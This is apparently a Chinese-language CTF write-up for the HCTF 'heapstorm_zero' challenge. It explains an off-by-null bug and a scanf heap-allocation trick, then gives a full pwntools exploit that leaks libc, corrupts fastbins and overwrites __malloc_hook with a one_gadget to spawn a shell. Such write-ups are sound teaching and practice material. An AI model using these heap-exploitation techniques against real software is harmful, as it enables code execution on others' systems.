hctf heapstorm

 

heapsorm

比赛的时候没做出来,想破了头也没找到怎么在只有0x20-0x40大小的fastbin的情况下利用offbynull来getshell,当时还以为真有这种方法没有学到

漏洞点很简单,就是个offbynull

unsigned __int64 __fastcall sub_EE0(_BYTE *a1, __int64 a2)
{
  _BYTE *v2; // rbx
  signed __int64 v3; // rdx
  _BYTE *v4; // rax
  bool v5; // zf
  char buf; // [rsp+7h][rbp-31h]
  unsigned __int64 v8; // [rsp+8h][rbp-30h]

  v8 = __readfsqword(0x28u);
  if ( a2 )
  {
    v2 = a1;
    while ( 1 )
    {
      buf = 0;
      if ( read(0, &buf, 1uLL) < 0 )
      {
        puts("Read error!!\n");
        exit(1);
      }
      v4 = v2;
      v5 = buf == 10;
      *v2 = buf;
      if ( v5 )
        break;
      v3 = (signed __int64)&(v2++)[1LL - (_QWORD)a1];
      if ( v2 == &a1[a2] )
      {
        v4 = &a1[v3];
        break;
      }
    }
  }
  else
  {
    v4 = a1;
  }
  *v4 = 0;
  return __readfsqword(0x28u) ^ v8;
}

当输入content没有\n而且长度为len的时候会在之后添加一个\x00

整个程序严格来说就这里一个漏洞点,正常情况下的offbynull只有fastbin是不能用的,起码要搞出来一个unsortedbin才能行,然后我就苦思冥想怎么搞出来一个unsortedbin,当时想的是利用offbynull耗尽topchunk,然后fastbin就会合并,但是题目中的fastbin数量太小,而且范围也太小了,行不通

于是乎我就觉得这个题目还有别的洞我没找到,以为可以在他mmap一个随即地址的时候做些文章,然而并没有利用点

赛后请教大佬才知道scanf会分配堆上内存,而这个scanf是题目中读取choice的时候的。。。真的是藏得深,当时根本没想到。只要输入一个过长的字符串就可以在堆上分配buf,然后就可以合并fastbin搞出来一个unsortedbin了,剩下的就是一些繁琐的堆风水了。值得注意的一点是只有fastbin的利用offbynull的话没有正常模式下那么简单,还是有一点点绕的

我本人利用的方法是main_arena attack 劫持topchunk,比较繁琐,house of orange 可能简单一些

下面是exp:


from pwn import *
context.log_level = 'debug'
binary = './heapstorm_zero'
libc = ELF('libc64.so')
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./pwn/hctf/libc64.so")}
io = process(binary,env = env)
token = 'oirfqEdvVZHMPzzAsTMcRxfYASwHb3Hv'
def choice(c):
	io.recvuntil('Choice:')
	io.sendline(c)
def add(size,content):
	choice('1')
	io.recvuntil('size:')
	io.sendline(str(size))
	io.recvuntil('content:')
	io.send(content)
def delete(index):
	choice('3')
	io.sendline(str(index))
def p():
	gdb.attach(io)
	raw_input()
def main():
	add(0x38,'\n')#0
	add(0x38,'\n')#1
	add(0x38,'\n')#2
	add(0x38,'\n')#3
	add(0x38,'\n')#4
	add(0x38,'\n')#5
	add(0x38,'\n')#6
	#---
	add(0x38,'\n')#7
	add(0x38,'\n')#8
	for i in range(6):
		delete(i+1)
	choice('1'*0x2000)
	add(0x38,'A'*0x38)#1
	add(0x28,'B'*0x20 + '\x40'+'\n')#2
	add(0x30,'C'*0x30)#3
	add(0x20,'DDDDD\n')#4
	delete(2)
	choice('1'*0x2000)
	delete(7)
	choice('1'*0x2000)
	#---
	add(0x28,'B'*0x20+'\n')#2
	add(0x28,'XXXX\n')#5
	add(0x28,'YYYY\n')#6
	#---
	choice('2')
	io.recvuntil('index:')
	io.sendline(str(3))
	io.recvuntil('Content: ')
	leak = u64(io.recv(6).ljust(8,'\x00'))
	libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 0x58
	log.success(hex(libc_base))
	add(0x30,'hack1\n')#7 3
	add(0x20,'hack2\n')#9 4
	add(0x30,'\n')#10
	add(0x20,'\n')#11
	delete(9)
	delete(11)
	delete(4)
	add(0x20,p64(0x41)+'\n')#4
	add(0x20,'\n')#9
	add(0x20,'\n')
	target = libc_base + libc.symbols['__malloc_hook'] + 0x10 + 0x8
	delete(7)
	delete(10)
	delete(3)
	add(0x30,p64(target)+'\n')#3
	add(0x30,'\n')#7
	add(0x30,'hack\n')#10 3
	target = target + 0x28
	add(0x30,p64(0)*4 + p64(0x41)+'\n')#11
	delete(10)
	delete(7)
	delete(3)
	add(0x30,p64(target)+'\n')#3
	add(0x30,'\n')#7
	add(0x30,'hack\n')#10 3
	add(0x38,p64(0)*0x3 + p64(libc_base + libc.symbols['__malloc_hook'] - 0x18) + p64(0)+p64(leak)*2)
	one = 0xf02a4 + libc_base
	add(0x38,p64(one)*4+'\n')
	#---
	delete(10)
	delete(3)
	io.interactive()
	#---
if __name__ == '__main__':
	main()